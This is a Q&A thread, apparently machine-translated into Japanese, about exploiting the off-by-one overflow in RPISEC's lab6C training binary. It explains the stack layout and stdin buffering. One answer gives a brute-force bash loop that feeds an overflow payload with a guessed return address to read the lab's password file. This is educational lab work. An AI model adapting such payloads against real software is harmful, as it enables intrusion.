web-dev-qa-db-ja.com

ソフトウェアオーバーフロー活用ラボ

数年前にRPIによって投稿されたバイナリエクスプロイトコースに取り組んでいます。現在ASLRラボにあり、問題が発生しています(ただし、ASLRに関連する部分には問題がありません)。最初に悪用して、ASLRバイパスの追加の複雑さに対処する方法を理解できません。

コードは次のとおりです(32ビットUbuntuで実行):
https://github.com/RPISEC/MBE/blob/master/src/lab06/lab6C.c

カナリアなしでコンパイルしてもらうので、悪用するオーバーフローがあると思います。 forループを除いて、すべてのサイズが正しくチェックされているように見えますが、理解できない奇妙な動作もいくつかあります。

私がしている/知らない、または試したこと:
1。ユーザー名に40文字を書き込むと、forループがメッセージ長フィールドの1バイトを上書きします。
2。ユーザー名が非常に長い場合、ツイートフィールドの一部が上書きされ、58行目のfgetsへのユーザー入力がスキップされ、ツイートが空ではなくなります(これは私が理解できない部分です)。 set_Tweetでは、とにかく最初にメモリがゼロになっているので、そこに古いデータがあった場合、どうしてそれを消去できなかったのでしょうか。
3。構造体のメッセージ長の1バイト以上を上書きできれば、大きなreadbufをTweetに転送して、その構造体を他のメモリにオーバーランさせることができます。 forループで40ではなく41を使用してコンパイルをテストすると、これが確認されます。

2
Praet
  1. ユーザー名に40文字を書き込むと、forループがメッセージ長フィールドの1バイトを上書きします。

あなたが正しいです。これがここでのエクスプロイテーションの鍵のようです。

  1. ユーザー名が非常に長い場合、ツイートフィールドの一部が上書きされ、58行目のfgetsへのユーザー入力がスキップされ、ツイートが空ではなくなります(これは私が理解できない部分です)。 set_Tweetでは、とにかく最初にメモリがゼロになっているので、そこに古いデータがあった場合、どうしてそれを消去できなかったのでしょうか。

これは確かに直感的ではなく、説明するためにstdioの動作方法を詳しく調べる必要があります。

fgets(readbuf, 128, stdin);を呼び出すと(74行目のように)、fgetsは改行または127文字に達するまでstdinからreadbufに読み取ります。ただし、128文字以上(つまり、改行の前に少なくとも127文字)を書き込むと、残りはstdinバッファーに保持されます、58行目でfgetsを呼び出すときに抽出されます。そのため、ユーザーに再度質問する必要はありません。

ユーザー名の入力が01234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567\nであるとします。

74行目以降のreadbufは0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456になります

58行目に到達すると、readbuf7\nに設定されます。

  1. 構造体のメッセージ長の1バイト以上を上書きできれば、大きなreadbufをTweetに転送して、その構造体を他のメモリにオーバーランさせることができます。 forループで40ではなく41を使用してコンパイルをテストすると、これが確認されます。

ええと、あなたは255バイトまでしか書くことができません:)

ただし、爆発にはそれで十分です。 sizeof(struct savestate)= 184であり、保存後、スタックにはebx、古いebp、およびretが含まれることに注意してください。

handle_Tweetのスタックレイアウトは次のようになります。

0xffffd840  <local2>
0xffffd844  <local1>
0xffffd848  <save>  aka. ebp-0xc0
0xffffd904  <old ebx>
0xffffd908  <old ebp>  current ebp points here
0xffffd90c  <return address>
0xffffd910  previous stack location

幸運を!

1
Ángel

私は1年前にそれらのエクササイズを試しました、それは楽しくて教育的でした。しかし、それらすべてを解決することはできませんでした。

ユーザー名に40文字を書き込むと、forループがメッセージ長フィールドの1バイトを上書きします。

はい、これがあなたのエクスプロイトです。私はこのようなことを試みます:

#!/bin/bash

echo bruteforcin all things

while true 
do  
      python -c 'print "A"*40 + "\xff" + "B"*282 + "\x2b\x77\x76\xb7\n(cat /the/.pass/file/you/should/have/obtain/in/lab6b)\n"' | ./lab6C | grep -E "^[a-zA-Z0-9_\-]{12,}" && break 
done

上記のコードを実際にテストしませんでした。何かを間違って入力した場合は申し訳ありません。

幸運を。

1
Baptiste